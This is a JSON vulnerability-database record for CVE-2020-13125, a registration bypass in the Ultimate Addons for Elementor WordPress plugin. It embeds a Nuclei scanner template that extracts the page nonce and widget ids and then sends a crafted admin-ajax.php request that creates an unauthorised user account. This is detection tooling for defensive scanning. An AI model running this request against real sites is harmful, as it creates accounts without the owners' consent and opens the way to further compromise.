{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-13125/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-13125/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-13125/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-13125/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-13125/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-13125"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-13125"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-13125.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2020-13125\n\ninfo:\n  name: Ultimate Addons for Elementor <= 1.24.1 - Registration Bypass\n  author: daffainfo\n  severity: high\n  description: |\n    An issue was discovered in the \"Ultimate Addons for Elementor\" plugin before 1.24.2 for WordPress, as exploited in the wild in May 2020 in conjunction with CVE-2020-13126. Unauthenticated attackers can create users with the Subscriber role even if registration is disabled.\n  impact: |\n    Unauthenticated attackers can create user accounts with Subscriber role, potentially leading to further malicious activities or privilege escalation\n  remediation: |\n    Update to version 1.24.2 or later.\n  reference:\n    - https://www.wordfence.com/blog/2020/05/combined-attack-on-elementor-pro-and-ultimate-addons-for-elementor-puts-1-million-sites-at-risk/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-13125\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2020-13125\n    epss-score: 0.02307\n    epss-percentile: 0.83421\n    cwe-id: NVD-CWE-noinfo\n    cpe: cpe:2.3:a:brainstormforce:ultimate_addons_for_elementor:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 2\n    vendor: brainstormforce\n    product: ultimate_addons_for_elementor\n    framework: wordpress\n  tags: cve2020,cve,wp,wordpress,wp-plugin,brainstormforce,ultimate-addons-for-elementor,vkev,vuln\n\nflow: |\n  http(1)\n  for (let widget_id of iterate(template.widgets_id)) {\n    set(\"widget_id\", widget_id)\n    http(2)\n  }\n\nvariables:\n  username: \"{{rand_base(6)}}\"\n  password: \"{{rand_base(8)}}\"\n  firstname: \"{{rand_base(5)}}\"\n  lastname: \"{{rand_base(5)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    redirects: true\n    max-redirects: 2\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"uaelRegistration\", \"form_nonce\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_nonce\n        part: body\n        group: 1\n        regex:\n          - ',\"form_nonce\":\"([a-f0-9]+)\"'\n        internal: true\n\n      - type: regex\n        name: post_id\n        part: body\n        group: 1\n        regex:\n          - '\"post\":{\"id\":([0-9]+),'\n        internal: true\n\n      - type: regex\n        name: widgets_id\n        part: body\n        group: 1\n        regex:\n          - 'elementor-widget-uael-registration-form\" data-id=\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=uael_register_user&nonce={{form_nonce}}&data[page_id]={{post_id}}&data[widget_id]={{widget_id}}&data[user_name]={{username}}&data[email]={{email}}&data[password]={{password}}&data[first_name]={{firstname}}&data[last_name]={{lastname}}&data[send_email]={{randstr}}&data[auto_login]=yes\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'successfully registered'\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402206e87f7cb4fdb316dedc04882ddabb57c2c3336d94213d4f57359d62d6d1093db02201ff81fbbb1301825a899eef06c915a1f2f4b0aadd66e487c62cca64a81c225b5:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-13125"
}